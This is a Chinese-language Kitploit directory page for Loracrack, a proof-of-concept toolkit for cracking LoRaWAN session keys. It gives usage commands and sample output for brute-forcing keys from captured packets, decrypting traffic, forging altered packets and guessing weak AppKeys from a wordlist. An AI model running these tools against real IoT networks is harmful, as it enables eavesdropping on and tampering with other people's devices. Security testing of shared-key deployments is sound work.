Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/applied-risk/loracrack
物联网安全漏洞利用无线安全密码学渗透测试硬件与物联网安全
GitHubapplied-risk/loracrack

Loracrack

LoRaWAN 会话破解器 - 一个用于利用弱密钥或共享应用密钥的 PoC

查看仓库
19734年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Loracrack - LoRaWAN 会话破解工具

一个利用弱密钥或共享应用密钥的 PoC

由 Applied Risk 的 Sipke Mellema 创建

这是一个概念验证(PoC),用于演示在多个 LoRaWAN 节点上使用相同 AppKey 的危险性。

该仓库包含一个工具箱,用于从捕获的数据包中破解 LoRaWAN 会话密钥。攻击场景假设您知道 AppKey 但错过了握手过程。或者 AppKey 不是随机的,可以被猜测出来。

LoRa 握手使用三个值来生成会话密钥: AppNonce | NetID | DevNonce AppNonce 和 NetID 为 3 字节,DevNonce 为 2 字节。NetID 的一部分是已知的,因此剩余 57 位熵。而且由于实现缺陷,这个值可能会更低。

编译与使用

直接执行 make 即可。请注意,您可能需要在 Makefile 中链接到 openssl 1.0.* 的位置。

工具概览

loracrack

./loracrack -k <十六进制格式的AppKey> -p <十六进制格式的原始数据包>

当握手(join-accept)被错过但 AppKey 已知时,破解会话密钥。破解过程通过生成会话密钥并检查 MIC 来完成。

root@kitploit:~
$ ./loracrack -k 88888888888888888888888888888888 -p 400267bd018005000142d9f48c52ea717c57

4899be88e40088c40abc703fa3ba1195 04068f88b9feee5385c67e033d911b4a
root@kitploit:~
可选参数:
	-t 线程数
	-v 详细模式(0、1 或 2)
	-m 最大 AppNonce

loracrack_knownpt

./loracrack_knownpt -k <十六进制格式的AppKey> -p <十六进制格式的原始数据包> -d <十六进制格式的明文>

当握手(join-accept)被错过但 AppKey 和明文已知时,破解会话密钥。破解过程通过解密 FRMPayload 并检查明文来完成。这比检查 MIC 更快,因为 CMAC 需要更多的 AES 操作。

root@kitploit:~
$ ./loracrack_knownpt -k 88888888888888888888888888888888 -p 400267bd018005000142d9f48c52ea717c57 -d 33302e3332

4899be88e40088c40abc703fa3ba1195 04068f88b9feee5385c67e033d911b4a
root@kitploit:~
可选参数:
	-t 线程数
	-v 详细模式(0、1 或 2)
	-m 最大 AppNonce

loracrack_decrypt

./loracrack_decrypt -k <十六进制格式的解密密钥> -p <十六进制格式的原始数据包>

当会话密钥已知时,解密数据包数据。

root@kitploit:~
$ ./loracrack_decrypt -k 4899be88e40088c40abc703fa3ba1195 -p 400267bd018005000142d9f48c52ea717c57

30.32

loracrack_alterpacket

./loracrack_alterpacket -p <十六进制格式的原始数据包> -a <十六进制格式的AppSKey> -n <十六进制格式的NwkSKey> -c <Fctn> -d <十六进制格式的新数据>

使用新数据修改数据包,保留 DeviceAddr 等原有内容。

root@kitploit:~
$ ./loracrack_alterpacket -p 400267bd018005000142d9f48c52ea717c57 -a 4899be88e40088c40abc703fa3ba1195 -n 04068f88b9feee5385c67e033d911b4a -c 5 -d 33302d3332

400267bd018005000142d9f78c521c78573b

loracrack_genkeys

./loracrack_genkeys -k <十六进制格式的AppKey> -j <十六进制格式的join数据包> -a <十六进制格式的accept数据包>

给定握手过程(join 和 accept 数据包)及 AppKey,生成会话密钥。

root@kitploit:~
$ ./loracrack_genkeys -k 88888888888888888888888888888888 -j 0000000000000000002bd61f000ba304000e1ba147157a -a 20adf6e18980952590fc1f7987a6913f35

4e1dcaf4f02fcd2ecbb1cb0d138fc53d 96eb9e13f0a3468ca580707ee688ee19

loracrack_guessjoin

./loracrack_guessjoin -p <十六进制格式的原始数据包> -f <包含十六进制格式AppKey的文件>

通过检查 join 数据包上的 MIC,检测是否使用了可预测的 AppKey。AppKey 从文件中读取,每行一个十六进制编码的 AppKey。

root@kitploit:~
$ ./loracrack_guessjoin -p 0000000000000000002bd61f000ba304002f3b5785cf80 -f guessjoin_genkeys/simplekeys

88888888888888888888888888888888
下载工具